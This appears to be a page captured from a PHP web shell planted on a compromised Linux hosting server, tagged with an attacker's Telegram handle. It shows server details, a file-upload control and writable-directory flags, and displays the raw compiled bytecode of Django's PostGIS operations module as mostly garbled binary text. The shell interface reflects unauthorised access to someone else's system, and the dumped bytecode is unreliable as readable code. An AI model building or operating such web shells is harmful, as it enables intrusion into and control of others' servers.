https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/django/contrib/gis/db/backends/postgis/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/django/contrib/gis/db/backends/postgis/operations.pyc
�
r�\c@s�ddlZddlmZddlmZddlmZddlmZm	Z	ddl
mZddlm
Z
ddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZmZdefd��YZde	fd��YZdefd��YZdefd��YZ defd��YZ!de fd��YZ"defd��YZ#deefd��YZ$dS( i����N(tDecimal(tsettings(tBaseSpatialOperations(tSpatialOperationtSpatialFunction(tPostGISAdapter(tGeometry(tDistance(tImproperlyConfigured(tDatabaseOperations(t
DatabaseError(tsix(tcached_propertyi(tGeometryColumnst
SpatialRefSystPostGISOperatorcBseZdZd�ZRS(s'For PostGIS operators (e.g. `&&`, `~`).cCstt|�jd|�dS(Ntoperator(tsuperRt__init__(tselfR((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyRs(t__name__t
__module__t__doc__R(((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyRstPostGISFunctioncBseZdZd�ZRS(s>For PostGIS function calls (e.g., `ST_Contains(table, geom)`).cKs!tt|�j|||�dS(N(RRR(Rtprefixtfunctiontkwargs((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyRs(RRRR(((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyRstPostGISFunctionParamcBseZdZdZRS(sIFor PostGIS functions that take another parameter (e.g. DWithin, Relate).s,%(function)s(%(geo_col)s, %(geometry)s, %%s)(RRRtsql_template(((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyRstPostGISDistancecBs#eZdZdZdZd�ZRS(s For PostGIS distance operations.Rs8%(function)s(%(geo_col)s, %(geometry)s) %(operator)s %%scCs&tt|�j||jd|�dS(NR(RRRt	dist_func(RRR((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyR's(RRRRRR(((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyR"stPostGISSpheroidDistancecBs#eZdZdZdZd�ZRS(s?For PostGIS spherical distance operations (using the spheroid).tdistance_spheroids=%(function)s(%(geo_col)s, %(geometry)s, %%s) %(operator)s %%scCs&tt|�j||jd|�dS(NR(RRRR(RRR((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyR/s(RRRRRR(((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyR+stPostGISSphereDistancecBseZdZdZRS(s*For PostGIS spherical distance operations.tdistance_sphere(RRRR(((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyR!4st
PostGISRelatecBs&eZdZejd�Zd�ZRS(s,For PostGIS Relate(<geom>, <pattern>) calls.s^[012TF\*]{9}$cCsB|jj|�s%td|��ntt|�j|d�dS(Ns)Invalid intersection matrix pattern "%s".tRelate(t
pattern_regextmatcht
ValueErrorRR#R(RRtpattern((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyR;s(RRRtretcompileR%R(((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyR#8stPostGISOperationscBs,eZdZdZeZdZejd�Z	e
gdD]Zed f^q7�Z
eZeZd	�Zed
��Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z d�Z!d�Z"d�Z#d�Z$d�Z%d�Z&d�Z'RS(!s)django.contrib.gis.db.models.sql.compilertpostgistST_s/^(?P<major>\d)\.(?P<minor1>\d)\.(?P<minor2>\d+)tCollecttExtenttExtent3DtMakeLinetUnioncsrtt|�j|�|j�i
td�d6td�d6td�d6td�d6td	�d
6td�d6td
�d6td�d6td�d6td�d6td�d6td�d6td�d6|_it�d�d6t�d�d6t�d�d6t�d �d!6t�d"�d#6t�d$�d%6t�d&�d'6t�d(�d)6ttj	fd*6t�d+�d,6t�d-�d.6|_
ttt
ftj}�fd/�}i|d0�|fd16|d2�|fd36|d4�|fd56|d6�|fd76t�d8�|fd96|_|j
j|j�|jdjkrEt}n
�d=}|jdkkr�d?}d@}t�dA�|j
dB<n
tt}}|jdlkr
t|_|jj�|_|jji|j
d,d,6|j
d.d.6|j
d)d)6�itd�d6|_n|jdmkr(t|_ntdEg�|_|jj|j�|jj|j
��dF|_||_�dG|_�dH|_�dI|_ �dJ|_!�dK|_"�dL|_#�dM|_$�dN|_%�dO|_&||_'||_(�dP|_)�dQ|_*�dR|_+�dS|_,�dT|_-�dU|_.�dV|_/�dW|_0�dX|_1�dY|_2�dZ|_3�d[|_4�d\|_5�d]|_6�d^|_7�d_|_8�d`|_9�da|_:�db|_;�dc|_<�dc|_=|jdnkrG�dd|_>�de|_?�df|_@n'�dg|_>�dh|_?�di|_@dS(oNs&<t
overlaps_lefts&>toverlaps_rights<<tlefts>>trights&<|toverlaps_belows|&>toverlaps_aboves<<|tstrictly_belows|>>tstrictly_aboves~=tsame_astexactt@t	containedt~t
bbcontainss&&t
bboverlapstEqualstequalstDisjointtdisjointtTouchesttouchestCrossestcrossestWithintwithintOverlapstoverlapstContainstcontainst
Intersectst
intersectstrelatet	CoveredByt	coveredbytCoverstcoverscs4it�|�d6t�|�d6t�|�d6S(s<Returns operations for both regular and spherical distances.t	cartesiantspheretspheroid(RR!R(R(R(sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pytget_dist_ops�st>tdistance_gts>=tdistance_gtet<tdistance_lts<=tdistance_ltetDWithintdwithiniiit	AsGeoJsonit
ST_GeoHashtST_MinimumBoundingCircletContainsProperlytcontains_properlyiitisnulltAreatCentroidR.t
DifferenceRR"R tEnvelopeR/tForceRHRtAsGMLtIntersectiontAsKMLtLengthtlength_spheroidR1tmem_sizet
NumGeometriestnpointst	PerimetertPointOnSurfacet
PolygonizetReversetScalet
SnapToGridtAsSVGt
SymDifferencet	Transformt	TranslateR2t3DExtentt3DLengtht3DPerimeterR0tLength3DtPerimeter3D(iii(iii(iii(iii(iii(ARR+Rtgeom_func_prefixRtgeometry_operatorsRR#Rtstring_typestgeometry_functionsRRtfloatt
integer_typesRtdistance_functionstupdatetspatial_versiontFalsetTruet	geographytcopytgeography_functionstgeography_operatorstgeometrytsett	gis_termstareatbounding_circletcentroidtcollectt
differencetdistanceR"R tenvelopetextentt	force_rhrtgeohashtgeojsontgmltintersectiontkmltlengthRrtmakelineRstnum_geomt
num_pointst	perimetertpoint_on_surfacet
polygonizetreversetscaletsnap_to_gridtsvgtsym_differencet	transformt	translatetuniontunionaggtextent3dtlength3dtperimeter3d(Rt
connectiontdtypesRZtGEOJSONtGEOHASHtBOUNDINGCIRCLE((RsS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyRMs�	











	

	
	








		
























cCsgttd�rtj}nHy|j�}Wn+tk
rXtd|jjd��nX|d}|S(s-Determine the version of the PostGIS library.tPOSTGIS_VERSIONs�Cannot determine PostGIS version for database "%s". GeoDjango requires at least PostGIS version 1.3. Was the database created from a spatial database template?tNAMEi(thasattrRR�tpostgis_version_tupleR
RR�t
settings_dict(Rtversiontvtup((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyR��s	

cCs|jj}||jkS(sx
        Checks if the given aggregate name is supported (that is, if it's
        in `self.valid_aggregates`).
        (t	__class__Rtvalid_aggregates(Rt	aggregatetagg_name((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pytcheck_aggregate_supportscCsb|dd!jd�\}}tt|j��\}}tt|j��\}}||||fS(s�
        Returns a 4-tuple extent for the `Extent` aggregate by converting
        the bounding box text returned by PostGIS (`box` argument), for
        example: "BOX(-90.0 30.0, -85.0 40.0)".
        ii����t,(tsplittmapR�(Rtboxtllturtxmintymintxmaxtymax((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pytconvert_extentsc
Csn|dd!jd�\}}tt|j��\}}}tt|j��\}}}	||||||	fS(s�
        Returns a 6-tuple extent for the `Extent3D` aggregate by converting
        the 3d bounding-box text returnded by PostGIS (`box3d` argument), for
        example: "BOX3D(-90.0 30.0 1, -85.0 40.0 2)".
        ii����R�(R�R�R�(
Rtbox3dR�R�R�R�tzminR�R�tzmax((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pytconvert_extent3dscCs|rt|�SdSdS(sI
        Converts the geometry returned from PostGIS aggretates.
        N(RtNone(Rthext	geo_field((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pytconvert_geom%s
cCs�|jrS|js!td��n|jdkr?td��nd|j|jfS|jr�|jdkr{|jd}n	|j}d||jfSdSdS(	s
        Return the database field type for the given geometry field.
        Typically this is `None` because geometry columns are added via
        the `AddGeometryColumn` stored procedure, unless the field
        has been specified to be of geography type instead.
        s2PostGIS 1.5 required for geography column support.i�sAPostGIS 1.5 supports geography columns only with an SRID of 4326.sgeography(%s,%d)itZsgeometry(%s,%d)N(R�tNotImplementedErrortsridt	geom_typeR�tdimR�(RtfR�((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pytgeo_db_type.s				c	Cst|�dkr&|dd}}n|\}}|j|j�}|joS|j}t|t�r�|rw|j}q�|r�|dkr�td��n|j}q�t	|tj
|j|j���}n|}|r|r|dkr|dkr|j|gS|gSdS(s�
        Retrieve the distance parameters for the given geometry field,
        distance lookup value, and the distance lookup type.

        This is the most complex implementation of the spatial backends due to
        what is supported on geodetic geometry columns vs. what's available on
        projected geometry columns.  In addition, it has to take into account
        the newly introduced geography column type introudced in PostGIS 1.5.
        iiRbsNOnly numeric values of degree units are allowed on geographic DWithin queries.RYN(
tlenR�tgeodeticR�R�t
isinstanceRtmR'tgetattrtunit_attnamet
units_namet	_spheroid(	RR�tdist_valtlookup_typetvaluetoptionR�R�t
dist_param((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pytget_distanceIs$'
cCsf|dks|j|jkr'd}nd|j|jf}t|d�rb||j|�}n|S(s�
        Provides a proper substitution value for Geometries that are not in the
        SRID of the field.  Specifically, this routine will substitute in the
        ST_Transform() function call.
        s%ss%s(%%s, %s)t
expressionN(R�R�R�R�tget_expression_column(RR�R�tplaceholder((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pytget_geom_placeholderss	cCs;|jj��&}|jd|�|j�dSWdQXdS(sZ
        Helper routine for calling PostGIS functions and returning their result.
        sSELECT %s()iN(R�ttemporary_connectiontexecutetfetchone(Rtfunctcursor((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyt_get_postgis_func�scCs
|jd�S(s:Returns the version of the GEOS library used with PostGIS.tpostgis_geos_version(R�(R((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyR��scCs
|jd�S(sGReturns the version number of the PostGIS library used with PostgreSQL.tpostgis_lib_version(R�(R((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyR��scCs
|jd�S(s<Returns the version of the PROJ.4 library used with PostGIS.tpostgis_proj_version(R�(R((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyR��scCs
|jd�S(s8Returns PostGIS version number and compile-time options.tpostgis_version(R�(R((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyR��scCs
|jd�S(s8Returns PostGIS version number and compile-time options.tpostgis_full_version(R�(R((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyR��scCs�|j�}|jj|�}|rft|jd��}t|jd��}t|jd��}ntd|��||||fS(sj
        Returns the PostGIS version as a tuple (version string, major,
        minor, subminor).
        tmajortminor1tminor2s*Could not parse PostGIS version string: %s(R�t
version_regexR&tinttgroupt	Exception(RR�R�RRR((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyR��scCswtjd�}|j�}|j|�}|rgttt|jd�|jd�|jd�g��Std��dS(s�
        Return the version of PROJ.4 used by PostGIS as a tuple of the
        major, minor, and subminor release numbers.
        s(\d+)\.(\d+)\.(\d+)iiis0Could not determine PROJ.4 version from PostGIS.N(	R)R*R�tsearchttupleR�RRR(Rt
proj_regextproj_ver_strR�((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pytproj_version_tuple�s7cCsEd�}d�}||jkr7|dkr7||�S||�SdS(s�
        Helper routine that returns a boolean indicating whether the number of
        parameters is correct for the lookup type.
        cSs
|dkS(Ni((tnp((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pytexactly_two�scSs|dko|dkS(Nii((R((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyttwo_to_three�sRbN(R�(RR�t	num_paramR
R((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyt
num_params�s		
c	Cs�|\}}}d||�||�f}	||jkr�|jre||jkretd|��n|j|}
|
j|	|j||��S||jkr�|jr�||jkr�td|��n|j|}t|t	�r|\}
}t|t	t
f�std|��n|d}
t|�}|j||�sStd|��nt|d|�s�td|t
|d�f��n|d	kr�|
|j|d�}
q�||jkr�|d
kr�|jro|j|j�ro|jjjs9|jdkrtd��nt|
j�d
kr9td��q9n|dkrb|ddkrb|
d}
qy|
d}
q||
d}
q�n|}
|}
|
j|	|j||
��S|dkr�d|	|r�dndfgfStdt|���dS(s�
        Constructs spatial SQL from the given lookup value tuple a
        (alias, col, db_type), the lookup type string, lookup value, and
        the geometry field.
        s%s.%ss3PostGIS geography does not support the "%s" lookup.s8PostGIS geography type does not support the "%s" lookup.s$Tuple required for `%s` lookup type.is:Incorrect number of parameters given for `%s` lookup type.is+Argument type should be %s, got %s instead.RRRbtPOINTs;PostGIS spherical operations are only valid on PointFields.tPointsDPostGIS geometry distance parameter is required to be of type Point.iiRYRXRWRhs%s IS %sNULLtsNOT sGot invalid lookup_type: %sN(R�R�R�R'tas_sqlR�R�R�R�RtlistR�RttypeR�R�R�R�topsR�tstrt	TypeErrortrepr(RtlvalueR�R�tfieldtqntaliastcoltdb_typetgeo_coltopttmptarg_typetgeomtnparams((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pytspatial_lookup_sql�sT




#

 cCsr|jj}|j|�s.td|��n|j�}|dkrS|d7}nd}t||�}||fS(ss
        Returns the spatial aggregate SQL template and function for the
        given Aggregate instance.
        s8%s spatial aggregate is not implmented for this backend.R�taggs%(function)s(%(field)s)(R�RR�R�tlowerR�(RR(R�Rtsql_function((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pytspatial_aggregate_sql%s
cCstS(N(R
(R((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pytgeometry_columns5scCstS(N(R(R((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pytspatial_ref_sys8s(sCollectsExtentsExtent3DsMakeLinesUnionN((RRtcompiler_moduletnameR�R,R�R)R*RtdicttkR�R�RtAdaptertAdaptorRRR�R�R�R�R�R�R�R�R�R�R�R�R�R�R�RRR'R+R,R-(((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyR+As>	�							*										
	
	U		(%R)tdecimalRtdjango.confRt#django.contrib.gis.db.backends.baseRt#django.contrib.gis.db.backends.utilRRt.django.contrib.gis.db.backends.postgis.adapterRt#django.contrib.gis.geometry.backendRtdjango.contrib.gis.measureRtdjango.core.exceptionsRt+django.db.backends.postgresql_psycopg2.baseR	tdjango.db.utilsR
tdjango.utilsRtdjango.utils.functionalRtmodelsR
RRRRRRR!R#R+(((sS/tmp/pip-install-XxeQeY/django/django/contrib/gis/db/backends/postgis/operations.pyt<module>s*			

https://t.me/AnonymousX5 - 2025